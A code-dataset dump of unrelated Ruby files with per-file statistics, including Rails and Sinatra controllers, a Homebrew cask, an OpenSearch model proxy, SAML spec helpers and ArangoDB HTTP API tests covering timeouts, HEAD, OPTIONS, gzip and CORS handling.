| 19.5 | 76 | 0.66453 |
79032ce81587fa015aecc69d2ac59401a0495d95 | 287 | class StarWars::Planets
attr_accessor :name , :climate , :terrain
@@all = []
def initialize (name , climate , terrain)
self.name = name
self.climate = climate
self.terrain = terrain
@@all << self
end
def self.all
@@all
end
end | 16.882353 | 45 | 0.56446 |
1dda092ecc9ae2d4def15acf75a20c6f14f7c4fc | 280 | cask "font-telex" do
version :latest
sha256 :no_check
url "https://github.com/google/fonts/raw/main/ofl/telex/Telex-Regular.ttf",
verified: "github.com/google/fonts/"
name "Telex"
homepage "https://fonts.google.com/specimen/Telex"
font "Telex-Regular.ttf"
end
| 23.333333 | 77 | 0.710714 |
ab4c292ad6969c24924ba010cbe10de193e84c8c | 3,181 | module Redcap2omop
class RedcapVariableMapsController < ApplicationController
before_action :set_redcap_variable_map, only: %i[ show edit update destroy ]
# GET /redcap_variable_maps or /redcap_variable_maps.json
def index
@redcap2omop_redcap_variable_maps = Redcap2omop::RedcapVariableMap.all
@redcap2omop_redcap_variable_map = Redcap2omop::RedcapVariableMap.new
end
# GET /redcap_variable_maps/1 or /redcap_variable_maps/1.json
def show
end
# GET /redcap_variable_maps/new
def new
@redcap2omop_redcap_variable_map = Redcap2omop::RedcapVariableMap.new
end
# GET /redcap_variable_maps/1/edit
def edit
end
# POST /redcap_variable_maps or /redcap_variable_maps.json
def create
@redcap2omop_redcap_variable_map = Redcap2omop::RedcapVariableMap.new(redcap_variable_map_params)
respond_to do |format|
if @redcap2omop_redcap_variable_map.save
format.html { redirect_to redcap_variable_maps_url }
format.json { render :show, status: :created, location: @redcap2omop_redcap_variable_map }
else
format.html { render :new, status: :unprocessable_entity }
format.json { render json: @redcap2omop_redcap_variable_map.errors, status: :unprocessable_entity }
format.turbo_stream { render turbo_stream: turbo_stream.replace(@redcap2omop_redcap_variable_map, partial: 'redcap2omop/redcap_variable_maps/form', locals: { redcap2omop_redcap_variable_map: @redcap2omop_redcap_variable_map }) } ## New for this article
end
end
end
# PATCH/PUT /redcap_variable_maps/1 or /redcap_variable_maps/1.json
def update
respond_to do |format|
if @redcap2omop_redcap_variable_map.update(redcap_variable_map_params)
format.html { redirect_to redcap_variable_maps_url }
format.json { render :show, status: :ok, location: @redcap2omop_redcap_variable_map }
else
format.html { render :edit, status: :unprocessable_entity }
format.json { render json: @redcap2omop_redcap_variable_map.errors, status: :unprocessable_entity }
format.turbo_stream { render turbo_stream: turbo_stream.replace(@redcap2omop_redcap_variable_map, partial: 'redcap2omop/redcap_variable_maps/form', locals: { redcap2omop_redcap_variable_map: @redcap2omop_redcap_variable_map }) } ## New for this article
end
end
end
# DELETE /redcap_variable_maps/1 or /redcap_variable_maps/1.json
def destroy
@redcap2omop_redcap_variable_map.destroy
respond_to do |format|
format.html { redirect_to redcap_variable_maps_url, notice: "RedcapVariableMap was successfully destroyed." }
format.json { head :no_content }
end
end
private
# Use callbacks to share common setup or constraints between actions.
def set_redcap_variable_map
@redcap2omop_redcap_variable_map = Redcap2omop::RedcapVariableMap.find(params[:id])
end
# Only allow a list of trusted parameters through.
def redcap_variable_map_params
params.require(:redcap_variable_map).permit(:redcap_variable_id, :map_type)
end
end
end
| 41.855263 | 262 | 0.738761 |
d5e350713e89cc4db17e436dbbde8d9a05c8cca1 | 1,437 | class UserController < ApplicationController
get '/users/new' do
@message = session[:message]
session[:message] = nil
erb :'/users/new'
end
post '/new' do
if User.find_by(username: params[:username])
session[:message] = ">>Username is already taken. Please choose another Username<<"
redirect "/users/new"
else
@user = User.new(params)
end
if params[:username] != "" && params[:password] != "" && params[:email] != ""
@user.save
session[:user_id] = @user.id
redirect "/users/#{@user.id}"
else
session[:message] = ">>Hmm, something isn't adding up. Please try again<<"
redirect "/users/new"
end
end
get '/users/login' do
if logged_in?
redirect "/users/#{current_user.id}"
else
@message = session[:message]
session[:message] = nil
erb :'/users/login'
end
end
post '/login' do
@user = User.find_by(username: params[:username])
if @user && @user.authenticate(params[:password])
session[:user_id] = @user.id
redirect "/users/#{current_user.id}"
else
session[:message] = ">>Username and Password do not match<<"
redirect "/users/login"
end
end
get '/users/logout' do
session.clear
redirect "/"
end
get '/users/:id' do
if logged_in?
@user = current_user
erb :'/users/index'
else
redirect "/users/login"
end
end
end
| 23.177419 | 89 | 0.595685 |
b9d26f4994684836efbe45bf8a2b3af739a104b7 | 252 | module MyJohnDeereApi::Validators
autoload :Base, 'my_john_deere_api/validators/base'
autoload :Asset, 'my_john_deere_api/validators/asset'
autoload :AssetLocation, 'my_john_deere_api/validators/asset_location'
end | 50.4 | 77 | 0.72619 |
26f73eb760d7baa37653dac4897567eee5bfcb01 | 223 | module SQLDroid
pom = File.read(File.expand_path('../../pom.xml', File.dirname(__FILE__)))
MAVEN_VERSION = pom[%r{(?<=<version>)([0-9a-zA-Z.-]*)(?=</version>)}]
VERSION = MAVEN_VERSION.gsub('-SNAPSHOT', '.alpha')
end
| 37.166667 | 76 | 0.636771 |
620d331bcf445692bef560fcdc4c1d46a3b87936 | 24 | module SlidesHelper
end
| 8 | 19 | 0.875 |
fffb7fc91d6b452118adbdb3f78eb439f3708621 | 249 | class Standup < ActiveRecord::Base
attr_accessible :title, :to_address, :subject_prefix
has_many :items, dependent: :destroy
has_many :posts, dependent: :destroy
validates :title, presence: true
validates :to_address, presence: true
end
| 24.9 | 54 | 0.763052 |
ab23eb99485c77ae65335fa796a2fc90e31212f5 | 1,231 | # frozen_string_literal: true
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Auto-generated by gapic-generator-ruby. DO NOT EDIT!
require "googleauth"
module Google
module Ads
module GoogleAds
module V3
module Services
module AccountBudgetProposalService
# Credentials for the AccountBudgetProposalService API.
class Credentials < ::Google::Auth::Credentials
self.env_vars = [
"GOOGLEADS_CREDENTIALS",
"GOOGLEADS_KEYFILE",
"GOOGLEADS_CREDENTIALS_JSON",
"GOOGLEADS_KEYFILE_JSON"
]
end
end
end
end
end
end
end
| 28.627907 | 74 | 0.665313 |
ed803b4dd457cccdcff212fc90ff16dc2e3053fd | 7,681 | # frozen_string_literal: true
module SAML
# rubocop:disable Metrics/MethodLength, Metrics/ModuleLength
module ResponseBuilder
MHV_PREMIUM_ATYPE = [
'{"accountType":"Premium","availableServices":{"21":"VA Medications","4":"Secure Messaging","3":"VA Allergies"'\
',"2":"Rx Refill","12":"Blue Button (all VA data)","1":"Blue Button self entered data.","11":"Blue Button (DoD)'\
' Military Service Information"}}'
].freeze
def create_user_identity(authn_context:, level_of_assurance:, attributes:, issuer: nil)
saml = build_saml_response(
authn_context: authn_context,
level_of_assurance: level_of_assurance,
attributes: attributes,
issuer: issuer
)
saml_user = SAML::User.new(saml)
user = create(:user, :response_builder, saml_user.to_hash)
user.identity
end
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/ParameterLists
def build_saml_response(
authn_context:, level_of_assurance:,
attributes: nil, issuer: nil, existing_attributes: nil, in_response_to: nil, settings: nil
)
verifying = [LOA::IDME_LOA3, LOA::IDME_LOA3_VETS, 'myhealthevet_loa3', 'dslogon_loa3'].include?(authn_context)
if authn_context.present?
if authn_context.include?('multifactor') && existing_attributes.present?
previous_context = authn_context.gsub(/multifactor|_multifactor/, '').presence || LOA::IDME_LOA1_VETS
create_user_identity(
authn_context: previous_context,
level_of_assurance: level_of_assurance,
attributes: existing_attributes,
issuer: issuer
)
end
if verifying && existing_attributes.present?
previous_context = authn_context.gsub(/_loa3/, '')
.gsub(%r{loa/3/vets}, 'loa/1/vets')
.gsub(%r{loa/3}, 'loa/1/vets')
create_user_identity(
authn_context: previous_context,
level_of_assurance: '1',
attributes: existing_attributes,
issuer: issuer
)
end
end
saml_response = SAML::Responses::Login.new(document_partial(authn_context).to_s)
allow(saml_response).to receive(:issuer_text).and_return(issuer)
allow(saml_response).to receive(:assertion_encrypted?).and_return(true)
allow(saml_response).to receive(:attributes).and_return(attributes)
allow(saml_response).to receive(:validate).and_return(true)
allow(saml_response).to receive(:decrypted_document).and_return(document_partial(authn_context))
allow(saml_response).to receive(:in_response_to).and_return(in_response_to)
allow(saml_response).to receive(:settings).and_return(settings)
saml_response
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/ParameterLists
def build_invalid_saml_response(in_response_to:, decrypted_document:, errors:, status_message:)
saml_response = SAML::Responses::Login.new(decrypted_document.to_s)
allow(saml_response).to receive(:validate).and_return(false)
allow(saml_response).to receive(:errors).and_return(errors)
allow(saml_response).to receive(:in_response_to).and_return(in_response_to)
allow(saml_response).to receive(:decrypted_document).and_return(decrypted_document)
allow(saml_response).to receive(:status_message).and_return(status_message)
saml_response
end
def invalid_saml_response
build_invalid_saml_response(in_response_to: uuid,
decrypted_document: document_partial)
end
def saml_response_click_deny
build_invalid_saml_response(
in_response_to: uuid,
decrypted_document: document_partial,
errors: ['The status code of the Response was not Success, was Responder => AuthnFailed '\
'-> Subject did not consent to attribute release',
'SAML Response must contain 1 assertion',
'The Assertion must include one Conditions element',
'The Assertion must include one AuthnStatement element',
'Issuer of the Assertion not found or multiple.',
'A valid SubjectConfirmation was not found on this Response'],
status_message: 'Subject did not consent to attribute release'
)
end
def saml_response_too_late
build_invalid_saml_response(
status_message: nil,
in_response_to: uuid,
decrypted_document: document_partial,
errors: [
'Current time is on or after NotOnOrAfter condition (2017-02-10 17:03:40 UTC >= 2017-02-10 17:03:30 UTC)',
'A valid SubjectConfirmation was not found on this Response'
]
)
end
def saml_response_too_early
build_invalid_saml_response(
status_message: nil,
in_response_to: uuid,
decrypted_document: document_partial,
errors: [
'Current time is earlier than NotBefore condition (2017-02-10 17:03:30 UTC) < 2017-02-10 17:03:40 UTC)'
]
)
end
def saml_response_unknown_error
build_invalid_saml_response(
status_message: 'Default generic identity provider error',
in_response_to: uuid,
decrypted_document: document_partial,
errors: [
'The status code of the Response was not Success, was Requester => NoAuthnContext -> AuthnRequest without ' \
'an authentication context.'
]
)
end
def saml_response_multi_error(in_response_to = nil)
build_invalid_saml_response(
status_message: 'Subject did not consent to attribute release',
in_response_to: in_response_to || uuid,
decrypted_document: document_partial,
errors: ['Subject did not consent to attribute release', 'Other random error']
)
end
def saml_response_detail_error(status_detail_xml)
build_invalid_saml_response(
status_message: 'Status Detail Error Message',
in_response_to: uuid,
decrypted_document: document_status_detail(status_detail_xml),
errors: %w[Test1 Test2 Test3]
)
end
def document_partial(authn_context = '')
REXML::Document.new(
<<-XML
<?xml version="1.0"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:Assertion>
<saml:AuthnStatement>
<saml:AuthnContext>
<saml:AuthnContextClassRef>#{authn_context}</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
</saml:Assertion>
</samlp:Response>
XML
)
end
def document_status_detail(status = '')
REXML::Document.new(
<<-XML
<samlp:Response
xmlns:ds="http://www.w3.org/2000/09/xmldsig#"
xmlns:fim="urn:ibm:names:ITFIM:saml"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" Destination="https://api.va.gov/v1/sessions/callback" ID="FIMRSP_9bbcd6a3-0175-10e5-8532-9199cd4142f8" InResponseTo="_a9ea0b44-5b5d-40dd-ae46-de5dafa71983" IssueInstant="2020-11-06T04:07:25Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://eauth.va.gov/isam/sps/saml20idp/saml20</saml:Issuer>
<samlp:Status>
#{status}
</samlp:Status>
</samlp:Response>
XML
)
end
end
# rubocop:enable Metrics/MethodLength, Metrics/ModuleLength
end
| 41.295699 | 267 | 0.661633 |
aba2acabfd77baf6d889ca919e99f966ba81b55f | 123 | class ChangeColumnName < ActiveRecord::Migration[5.2]
def change
rename_column :comments, :body, :com_body
end
end
| 20.5 | 53 | 0.747967 |
7ac5bbc49b2cfe76693d95f6434f6d79a9770a5d | 789 | module Capistrano::DBSync
module Executor
class Base
# +side+ must be :local or :remote
def initialize(cap, config, side)
@cap = cap
@config = config
@session_id = Time.now.strftime("%Y-%m-%d-%H%M%S")
@side = side
end
def working_dir
File.join config[side][:working_dir]
end
def env
config[side][:env].to_s
end
def cleanup?
config[side][:cleanup]
end
private
def load_db_config!(config_file_contents)
yaml = YAML.load(ERB.new(config_file_contents).result)
@db_config = yaml[env].tap { |db_config| Postgres.validate!(db_config) }
end
attr_reader :cap, :config, :db_config, :side, :session_id
end
end
end
| 21.916667 | 80 | 0.572877 |
87fbfb8128a9cbf4865a9bb9433672a36202f294 | 529 | require 'rails_helper'
RSpec.describe UserPolicy do
before(:all) do
# create @user/@record for the 'can access thier own' shared example
# @user = FactoryGirl.create(:scout)
# @record = FactoryGirl.create(:sms_message, sender: @user)
end
def self.options
{ policy_class: UserPolicy, policy_resource: FactoryGirl.build_stubbed(:user) }
end
[:index?, :show?, :new?, :edit?, :destroy?, :create?, :update?].each do |action|
permissions action do
it_behaves_like 'no access'
end
end
end
| 24.045455 | 83 | 0.680529 |
397f595815949faa48721320072b8c4683ffee07 | 6,625 | # Licensed to Elasticsearch B.V. under one or more contributor
# license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright
# ownership. Elasticsearch B.V. licenses this file to you under
# the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
module OpenSearch
module Model
# This module provides a proxy interfacing between the including class and
# `OpenSearch::Model`, preventing the pollution of the including class namespace.
#
# The only "gateway" between the model and OpenSearch::Model is the
# `#__opensearch__` class and instance method.
#
# The including class must be compatible with
# [ActiveModel](https://github.com/rails/rails/tree/master/activemodel).
#
# @example Include the `OpenSearch::Model` module into an `Article` model
#
# class Article < ActiveRecord::Base
# include OpenSearch::Model
# end
#
# Article.__opensearch__.respond_to?(:search)
# # => true
#
# article = Article.first
#
# article.respond_to? :index_document
# # => false
#
# article.__opensearch__.respond_to?(:index_document)
# # => true
#
module Proxy
# Define the `__opensearch__` class and instance methods in the including class
# and register a callback for intercepting changes in the model.
#
# @note The callback is triggered only when `OpenSearch::Model` is included in the
# module and the functionality is accessible via the proxy.
#
def self.included(base)
base.class_eval do
# `ClassMethodsProxy` instance, accessed as `MyModel.__opensearch__`
def self.__opensearch__ &block
@__opensearch__ ||= ClassMethodsProxy.new(self)
@__opensearch__.instance_eval(&block) if block_given?
@__opensearch__
end
# Mix the importing module into the `ClassMethodsProxy`
self.__opensearch__.class_eval do
include Adapter.from_class(base).importing_mixin
end
# Register a callback for storing changed attributes for models which implement
# `before_save` method and return changed attributes (ie. when `OpenSearch::Model` is included)
#
# @see http://api.rubyonrails.org/classes/ActiveModel/Dirty.html
#
before_save do |obj|
if obj.respond_to?(:changes_to_save) # Rails 5.1
changes_to_save = obj.changes_to_save
elsif obj.respond_to?(:changes)
changes_to_save = obj.changes
end
if changes_to_save
attrs = obj.__opensearch__.instance_variable_get(:@__changed_model_attributes) || {}
latest_changes = changes_to_save.inject({}) { |latest_changes, (k,v)| latest_changes.merge!(k => v.last) }
obj.__opensearch__.instance_variable_set(:@__changed_model_attributes, attrs.merge(latest_changes))
end
end if respond_to?(:before_save)
end
# {InstanceMethodsProxy}, accessed as `@mymodel.__opensearch__`
#
def __opensearch__ &block
@__opensearch__ ||= InstanceMethodsProxy.new(self)
@__opensearch__.instance_eval(&block) if block_given?
@__opensearch__
end
end
# @overload dup
#
# Returns a copy of this object. Resets the __opensearch__ proxy so
# the duplicate will build its own proxy.
def initialize_dup(_)
@__opensearch__ = nil
super
end
# Common module for the proxy classes
#
module Base
attr_reader :target
def initialize(target)
@target = target
end
def ruby2_keywords(*) # :nodoc:
end if RUBY_VERSION < "2.7"
# Delegate methods to `@target`. As per [the Ruby 3.0 explanation for keyword arguments](https://www.ruby-lang.org/en/news/2019/12/12/separation-of-positional-and-keyword-arguments-in-ruby-3-0/), the only way to work on Ruby <2.7, and 2.7, and 3.0+ is to use `ruby2_keywords`.
#
ruby2_keywords def method_missing(method_name, *arguments, &block)
target.respond_to?(method_name) ? target.__send__(method_name, *arguments, &block) : super
end
# Respond to methods from `@target`
#
def respond_to_missing?(method_name, include_private = false)
target.respond_to?(method_name) || super
end
def inspect
"[PROXY] #{target.inspect}"
end
end
# A proxy interfacing between OpenSearch::Model class methods and model class methods
#
# TODO: Inherit from BasicObject and make Pry's `ls` command behave?
#
class ClassMethodsProxy
include Base
include OpenSearch::Model::Client::ClassMethods
include OpenSearch::Model::Naming::ClassMethods
include OpenSearch::Model::Indexing::ClassMethods
include OpenSearch::Model::Searching::ClassMethods
include OpenSearch::Model::Importing::ClassMethods
end
# A proxy interfacing between OpenSearch::Model instance methods and model instance methods
#
# TODO: Inherit from BasicObject and make Pry's `ls` command behave?
#
class InstanceMethodsProxy
include Base
include OpenSearch::Model::Client::InstanceMethods
include OpenSearch::Model::Naming::InstanceMethods
include OpenSearch::Model::Indexing::InstanceMethods
include OpenSearch::Model::Serializing::InstanceMethods
def klass
target.class
end
def class
klass.__opensearch__
end
# Need to redefine `as_json` because we're not inheriting from `BasicObject`;
# see TODO note above.
#
def as_json(options={})
target.as_json(options)
end
def as_indexed_json(options={})
target.respond_to?(:as_indexed_json) ? target.__send__(:as_indexed_json, options) : super
end
end
end
end
end
| 36.005435 | 284 | 0.64966 |
794abfb4c2722540c79ca23a8c70fa3ddb3ba183 | 248 | class Condition < ApplicationRecord
has_many :stock_products
validates :name, presence: true, inclusion: { in: ["Like New", "Very Good", "Good", "Acceptable"] }
validates :buy_ratio, presence: true
validates :sell_ratio, presence: true
end
| 35.428571 | 101 | 0.733871 |
7a9e3c0d23d8040058c5334343ada61a90090020 | 15,974 | # coding: utf-8
require 'rspec'
require 'arangodb.rb'
describe ArangoDB do
prefix = "api-http"
################################################################################
## checking binary data
################################################################################
context "binary data" do
before do
# clean up first
ArangoDB.delete("/_api/document/_modules/UnitTestRoutingTest")
ArangoDB.delete("/_api/document/_routing/UnitTestRoutingTest")
# register module in _modules
body = "{ \"_key\" : \"UnitTestRoutingTest\", \"path\" : \"/db:/FoxxTest\", \"content\" : \"exports.do = function(req, res, options, next) { res.body = require('internal').rawRequestBody(req); res.responseCode = 201; res.contentType = 'application/x-foobar'; };\" }"
doc = ArangoDB.log_post("#{prefix}-post-binary-data", "/_api/document?collection=_modules", :body => body)
doc.code.should eq(202)
# register module in _routing
body = "{ \"_key\" : \"UnitTestRoutingTest\", \"url\" : { \"match\" : \"/foxxtest\", \"methods\" : [ \"post\", \"put\" ] }, \"action\": { \"controller\" : \"db://FoxxTest\" } }"
doc = ArangoDB.log_post("#{prefix}-post-binary-data", "/_api/document?collection=_routing", :body => body)
doc.code.should eq(202)
ArangoDB.log_post("#{prefix}-post-binary-data", "/_admin/routing/reload", :body => "")
end
after do
ArangoDB.delete("/_api/document/_modules/UnitTestRoutingTest")
ArangoDB.delete("/_api/document/_routing/UnitTestRoutingTest")
end
it "checks handling of a request with binary data" do
body = "\x01\x02\x03\x04\xff mötör"
doc = ArangoDB.log_post("#{prefix}-post-binary-data", "/foxxtest", :body => body, :format => :plain)
doc.headers['content-type'].should eq("application/x-foobar")
doc.code.should eq(201)
doc = ArangoDB.log_put("#{prefix}-post-binary-data", "/foxxtest", :body => body, :format => :plain)
doc.headers['content-type'].should eq("application/x-foobar")
doc.code.should eq(201)
end
end
################################################################################
## checking timeouts
################################################################################
context "dealing with timeouts:" do
before do
# load the most current routing information
@old_timeout = ArangoDB.set_timeout(2)
end
after do
ArangoDB.set_timeout(@old_timeout)
end
it "calls an action and times out" do
cmd = "/_admin/execute"
body = "require('internal').wait(4);"
begin
ArangoDB.log_post("#{prefix}-http-timeout", cmd, :body => body)
rescue Timeout::Error
# if we get any different error, the rescue block won't catch it and
# the test will fail
end
end
end
context "dealing with read timeouts:" do
before do
# load the most current routing information
@old_timeout = ArangoDB.set_read_timeout(2)
end
after do
ArangoDB.set_read_timeout(@old_timeout)
end
it "calls an action and times out" do
cmd = "/_admin/execute"
body = "require('internal').wait(4);"
begin
ArangoDB.log_post("#{prefix}-http-timeout", cmd, :body => body)
rescue Timeout::Error
# if we get any different error, the rescue block won't catch it and
# the test will fail
end
end
end
context "dealing with HTTP methods:" do
################################################################################
## checking HTTP HEAD responses
################################################################################
context "head requests:" do
it "checks whether HEAD returns a body on 2xx" do
cmd = "/_api/version"
doc = ArangoDB.log_head("#{prefix}-head-supported-method", cmd)
doc.code.should eq(200)
doc.response.body.should be_nil
end
it "checks whether HEAD returns a body on 3xx" do
cmd = "/_api/collection"
doc = ArangoDB.log_head("#{prefix}-head-unsupported-method1", cmd)
doc.code.should eq(405)
doc.response.body.should be_nil
end
it "checks whether HEAD returns a body on 4xx" do
cmd = "/_api/cursor"
doc = ArangoDB.log_head("#{prefix}-head-unsupported-method2", cmd)
doc.code.should eq(405)
doc.response.body.should be_nil
end
it "checks whether HEAD returns a body on 4xx" do
cmd = "/_api/non-existing-method"
doc = ArangoDB.log_head("#{prefix}-head-non-existing-method", cmd)
doc.code.should eq(404)
doc.response.body.should be_nil
end
it "checks whether HEAD returns a body on an existing document" do
cn = "UnitTestsCollectionHttp"
ArangoDB.drop_collection(cn)
# create collection with one document
@cid = ArangoDB.create_collection(cn)
cmd = "/_api/document?collection=#{cn}"
body = "{ \"Hello\" : \"World\" }"
doc = ArangoDB.log_post("#{prefix}", cmd, :body => body)
did = doc.parsed_response['_id']
did.should be_kind_of(String)
# run a HTTP HEAD query on the existing document
cmd = "/_api/document/" + did
doc = ArangoDB.log_head("#{prefix}-head-check-document", cmd)
doc.code.should eq(200)
doc.response.body.should be_nil
# run a HTTP HEAD query on the existing document, with wrong precondition
cmd = "/_api/document/" + did
doc = ArangoDB.log_head("#{prefix}-head-check-document", cmd, :header => { :"if-match" => "1" })
doc.code.should eq(200)
doc.response.body.should be_nil
ArangoDB.drop_collection(cn)
end
end
################################################################################
## checking HTTP GET responses
################################################################################
context "get requests" do
it "checks a non-existing URL" do
cmd = "/xxxx/yyyy"
doc = ArangoDB.log_get("#{prefix}-get-non-existing-url", cmd)
doc.code.should eq(404)
doc.headers['content-type'].should eq("application/json; charset=utf-8")
doc.parsed_response['error'].should eq(true)
doc.parsed_response['code'].should eq(404)
end
it "checks whether GET returns a body" do
cmd = "/_api/non-existing-method"
doc = ArangoDB.log_get("#{prefix}-get-non-existing-method", cmd)
doc.code.should eq(404)
doc.headers['content-type'].should eq("application/json; charset=utf-8")
doc.parsed_response['error'].should eq(true)
doc.parsed_response['errorNum'].should eq(404)
doc.parsed_response['code'].should eq(404)
end
it "checks whether GET returns a body" do
cmd = "/_api/non-allowed-method"
doc = ArangoDB.log_get("#{prefix}-get-non-allowed-method", cmd)
doc.code.should eq(404)
doc.headers['content-type'].should eq("application/json; charset=utf-8")
doc.parsed_response['error'].should eq(true)
doc.parsed_response['errorNum'].should eq(404)
doc.parsed_response['code'].should eq(404)
end
end
################################################################################
## checking HTTP OPTIONS
################################################################################
context "options requests" do
before do
@headers = "DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT"
end
it "checks handling of an OPTIONS request, without body" do
cmd = "/_api/version"
doc = ArangoDB.log_options("#{prefix}-options", cmd)
doc.headers['allow'].should eq(@headers)
doc.code.should eq(200)
doc.response.body.should be_nil_or_empty
end
it "checks handling of an OPTIONS request, with body" do
cmd = "/_api/version"
doc = ArangoDB.log_options("#{prefix}-options", cmd, { :body => "some stuff" })
doc.headers['allow'].should eq(@headers)
doc.code.should eq(200)
doc.response.body.should be_nil_or_empty
end
end
################################################################################
## checking GZIP requests
################################################################################
context "gzip requests" do
it "checks handling of a request, with gzip support" do
require 'uri'
require 'net/http'
# only run the following test when using SSL
if not ArangoDB.base_uri =~ /^https:/
uri = URI.parse(ArangoDB.base_uri + "/_db/_system/_admin/aardvark/index.html")
http = Net::HTTP.new(uri.host, uri.port)
request = Net::HTTP::Get.new(uri.request_uri)
request["Accept-Encoding"] = "gzip"
response = http.request(request)
# check content encoding
response['content-encoding'].should eq('gzip')
end
end
it "checks handling of an request, without gzip support" do
cmd = "/_admin/aardvark/index.html"
doc = ArangoDB.log_get("admin-interface-get", cmd, :headers => { "Accept-Encoding" => "" }, :format => :plain)
# check response code
doc.code.should eq(200)
# check content encoding
doc.headers['Content-Encoding'].should be nil
end
end
################################################################################
## checking CORS requests
################################################################################
context "CORS requests" do
before do
@headers = "DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT"
end
it "checks handling of a non-CORS GET request" do
cmd = "/_api/version"
doc = ArangoDB.log_get("#{prefix}-cors", cmd )
doc.code.should eq(200)
doc.headers['access-control-allow-origin'].should be_nil
doc.headers['access-control-allow-methods'].should be_nil
doc.headers['access-control-allow-credentials'].should be_nil
end
it "checks handling of a CORS GET request, with null origin" do
cmd = "/_api/version"
doc = ArangoDB.log_get("#{prefix}-cors", cmd, { :headers => { "Origin" => "null" } } )
doc.code.should eq(200)
doc.headers['access-control-allow-origin'].should eq("null")
doc.headers['access-control-allow-methods'].should be_nil
doc.headers['access-control-allow-headers'].should be_nil
doc.headers['access-control-allow-credentials'].should eq("false")
doc.headers['access-control-max-age'].should be_nil
end
it "checks handling of a CORS GET request" do
cmd = "/_api/version"
doc = ArangoDB.log_get("#{prefix}-cors", cmd, { :headers => { "Origin" => "http://127.0.0.1" } } )
doc.code.should eq(200)
doc.headers['access-control-allow-origin'].should eq("http://127.0.0.1")
doc.headers['access-control-allow-methods'].should be_nil
doc.headers['access-control-allow-headers'].should be_nil
doc.headers['access-control-allow-credentials'].should eq("false")
doc.headers['access-control-max-age'].should be_nil
end
it "checks handling of a CORS GET request from origin that is trusted" do
cmd = "/_api/version"
doc = ArangoDB.log_get("#{prefix}-cors", cmd, { :headers => { "Origin" => "http://was-erlauben-strunz.it" } } )
doc.code.should eq(200)
doc.headers['access-control-allow-origin'].should eq("http://was-erlauben-strunz.it")
doc.headers['access-control-allow-methods'].should be_nil
doc.headers['access-control-allow-headers'].should be_nil
doc.headers['access-control-allow-credentials'].should eq("true")
doc.headers['access-control-max-age'].should be_nil
end
it "checks handling of a CORS POST request" do
cmd = "/_api/version"
doc = ArangoDB.log_get("#{prefix}-cors", cmd, { :headers => { "Origin" => "http://www.some-url.com/" } } )
doc.code.should eq(200)
doc.headers['access-control-allow-origin'].should eq("http://www.some-url.com/")
doc.headers['access-control-allow-methods'].should be_nil
doc.headers['access-control-allow-headers'].should be_nil
doc.headers['access-control-allow-credentials'].should eq("false")
doc.headers['access-control-max-age'].should be_nil
end
it "checks handling of a CORS OPTIONS preflight request, no headers" do
cmd = "/_api/version"
doc = ArangoDB.log_options("#{prefix}-cors", cmd, { :headers => { "origin" => "http://from.here.we.come/really/really", "access-control-request-method" => "delete" } } )
doc.code.should eq(200)
doc.headers['access-control-allow-origin'].should eq("http://from.here.we.come/really/really")
doc.headers['access-control-allow-methods'].should eq(@headers)
doc.headers['access-control-allow-headers'].should be_nil
doc.headers['access-control-allow-credentials'].should eq("false")
doc.headers['access-control-max-age'].should eq("1800")
doc.headers['allow'].should eq(@headers)
doc.headers['content-length'].should eq("0")
doc.response.body.should be_nil_or_empty
end
it "checks handling of a CORS OPTIONS preflight request, empty headers" do
cmd = "/_api/version"
doc = ArangoDB.log_options("#{prefix}-cors", cmd, { :headers => { "oRiGiN" => "HTTPS://this.is.our/site-yes", "access-control-request-method" => "delete", "access-control-request-headers" => " " } } )
doc.code.should eq(200)
doc.headers['access-control-allow-origin'].should eq("HTTPS://this.is.our/site-yes")
doc.headers['access-control-allow-methods'].should eq(@headers)
doc.headers['access-control-allow-headers'].should be_nil
doc.headers['access-control-allow-credentials'].should eq("false")
doc.headers['access-control-max-age'].should eq("1800")
doc.headers['allow'].should eq(@headers)
doc.headers['content-length'].should eq("0")
doc.response.body.should be_nil_or_empty
end
it "checks handling of a CORS OPTIONS preflight request, populated headers" do
cmd = "/_api/version"
doc = ArangoDB.log_options("#{prefix}-cors", cmd, { :headers => { "ORIGIN" => "https://mysite.org", "Access-Control-Request-Method" => "put", "ACCESS-CONTROL-request-headers" => "foo,bar,baz" } } )
doc.code.should eq(200)
doc.headers['access-control-allow-origin'].should eq("https://mysite.org")
doc.headers['access-control-allow-methods'].should eq(@headers)
doc.headers['access-control-allow-headers'].should eq("foo,bar,baz")
doc.headers['access-control-allow-credentials'].should eq("false")
doc.headers['access-control-max-age'].should eq("1800")
doc.headers['allow'].should eq(@headers)
doc.headers['content-length'].should eq("0")
doc.response.body.should be_nil_or_empty
end
it "checks handling of a CORS OPTIONS preflight request" do
cmd = "/_api/version"
doc = ArangoDB.log_options("#{prefix}-cors", cmd, { :headers => { "ORIGIN" => "https://mysite.org", "Access-Control-Request-Method" => "put" } } )
doc.code.should eq(200)
doc.headers['access-control-allow-origin'].should eq("https://mysite.org")
doc.headers['access-control-allow-methods'].should eq(@headers)
doc.headers['access-control-allow-credentials'].should eq("false")
doc.headers['access-control-max-age'].should eq("1800")
doc.headers['allow'].should eq(@headers)
doc.headers['content-length'].should eq("0")
doc.response.body.should be_nil_or_empty
end
end
end
